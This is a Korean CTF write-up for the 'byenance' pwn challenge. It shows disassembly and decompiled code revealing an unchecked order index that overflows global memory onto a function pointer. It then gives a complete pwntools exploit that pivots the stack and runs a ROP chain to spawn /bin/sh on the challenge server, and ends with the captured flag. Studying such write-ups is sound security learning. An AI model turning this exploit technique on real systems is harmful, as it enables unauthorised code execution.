byenance

> 작은 코인 거래소를 만들어놓은 프로그램이다.

Analysis

`order_list` 구조체를 통해 주문 내역을 관리하는데, 이는 전역변수로 선언되어 있다.

```
bss:00000000004C62C0 order_list      db    ? ;               ; DATA XREF:
buy_eth+132↑o
.bss:00000000004C62C0                                         ; buy_eth+15F↑o ...
.bss:00000000004C62C1                 db    ? ;
.bss:00000000004C62C2                 db    ? ;
.bss:00000000004C62C3                 db    ? ;
.bss:00000000004C62C4                 db    ? ;
.bss:00000000004C62C5                 db    ? ;
.bss:00000000004C62C6                 db    ? ;
.bss:00000000004C62C7                 db    ? ;
.bss:00000000004C62C8 order_list2     db    ? ;               ; DATA XREF:
buy_eth+1B7↑o
.bss:00000000004C62C8                                         ; sell_eth+1BB↑o ...
.bss:00000000004C62C9                 db    ? ;
.bss:00000000004C62CA                 db    ? ;
.bss:00000000004C62CB                 db    ? ;
.bss:00000000004C62CC                 db    ? ;
.bss:00000000004C62CD                 db    ? ;
.bss:00000000004C62CE                 db    ? ;
.bss:00000000004C62CF                 db    ? ;
.bss:00000000004C62D0 ; _QWORD order_list3[78]
.bss:00000000004C62D0 order_list3     dq 4Eh dup(?)           ; DATA XREF:
buy_eth+1FD↑o
.bss:00000000004C62D0                                         ; sell_eth+204↑o ...
.bss:00000000004C6540                 public me
.bss:00000000004C6540 ; _DWORD me
.bss:00000000004C6540 me              dq ?                    ; DATA XREF:
main+98↑w
.bss:00000000004C6540                                         ; main+BF↑o
.bss:00000000004C6548                 align 20h
.bss:00000000004C6560 ; _DWORD USDT
.bss:00000000004C6560 USDT            dq ?                    ; DATA XREF:
buy_eth+B2↑r
.bss:00000000004C6560                                         ;
buy_eth:loc_401963↑r ...
.bss:00000000004C6568 leverage        db ?                    ; DATA XREF:
buy_eth+B9↑r
```

```
.bss:00000000004C6568                                           ; buy_eth+F0↑r ...
.bss:00000000004C6569                   align 10h
.bss:00000000004C6570                   public show
.bss:00000000004C6570 ; __int64 (*show)(void)
.bss:00000000004C6570 show              dq ?                    ; DATA XREF:
main+A6↑w
```

밑쪽에 show 라는 함수 포인터가 존재하고 있는 것을 확인할 수 있다.

- sell_eth

```
  if ( sell_price <= *(_QWORD *)&USDT * (unsigned __int64)(unsigned
__int8)leverage )
  {
    *(_QWORD *)&USDT -= sell_price / (unsigned __int8)leverage;
    strcpy((char *)&order_list + 40 * order_cnt + 24, "ETH");
    strcpy((char *)&order_list + 40 * order_cnt + 32, "SELL");
    *((_QWORD *)&order_list + 5 * order_cnt) = current_ETH_price;
    *((_QWORD *)&order_list2 + 5 * order_cnt) = sell_num;
    order_list3[5 * order_cnt] = current_ETH_price + current_ETH_price / (unsigned
__int64)(unsigned __int8)leverage;
    ++current_ETH_price;
    ++order_cnt;                                // order_cnt 검사 X
    puts("Your order request is acquired successfully");
    result = 0LL;
  }
```

eth를 판매하고, 주문 내역을 저장하는 메뉴이다. 배열의 index로 사용되는 order_cnt 변수에 검사가 존재하지 않아 bss(전역변수 영역)에서 **overflow**가 발생한다.

Exploit

- eth를 여러번 판매하여 order_cnt를 높인다.
- show 함수 포인터 영역을 가젯으로 변조하여 stack pivoting을 진행한다.
- ROP를 진행한다.

Exploit Code

```
from pwn import *

context.arch = 'amd64'

e = ELF('./byenance')
l = e.libc

def menu(sel: int):
    s.recvuntil(b'orders\n')
    s.sendline(str(sel))
```

```python
def buy_eth(num: int):
    menu(1)
    s.recvuntil(b'?\n')
    s.sendline(str(num))

def sell_eth(num: int):
    menu(2)
    s.recvuntil(b'?\n')
    s.sendline(str(num))

def set_leverage(num: int):
    menu(3)
    s.recvuntil(b'leverage\n')
    s.sendline(str(num))

def show():
    menu(4)

# s = process(e.path)
s = remote('prob2.cstec.kr', 6464)

gs = ''
# gs = '''
# b* 0x4020CF
# b* 0x00485e9b
# '''
def db(p):
    gdb.attach(p, gdbscript=gs)
    pause()

# db(s)

for _ in range(17):
    sell_eth(0)
set_leverage(100)

pop3ret = 0x485e9a

sell_eth(pop3ret)
# sell_eth(1)
# db(s)

syscall = 0x0041bce6
pop_rdi = 0x00402214
pop_rsi = 0x0040a76e
pop_rdx_rbx = 0x00485e9b
pop_rax = 0x00452907

stdin = 0x04C46F8
fgets = 0x412F90

binsh = 0x4C6540

pay = flat(
```

```
    pop_rdi,
    0,
    pop_rsi,
    binsh,
    pop_rdx_rbx,
    1024,
    0,
    pop_rax,
    0,
    syscall
)
pay += flat(
    pop_rdi,
    binsh,
    pop_rsi,
    0,
    pop_rdx_rbx,
    0,
    0,
    pop_rax,
    59,
    syscall
)

pay = pay
s.sendlineafter(b'orders\n', pay)

s.send(b"/bin/sh\x00")
# db(s)
s.interactive()
```

apollob{8bcfdbd48082414e84870ecac02ff04f4a9849e07d237e3a5c9705a27f848a46f007ea95b6eade077b310fbfe001a61ffa98679b9cdddcfebc6df6cc6c75269114b805}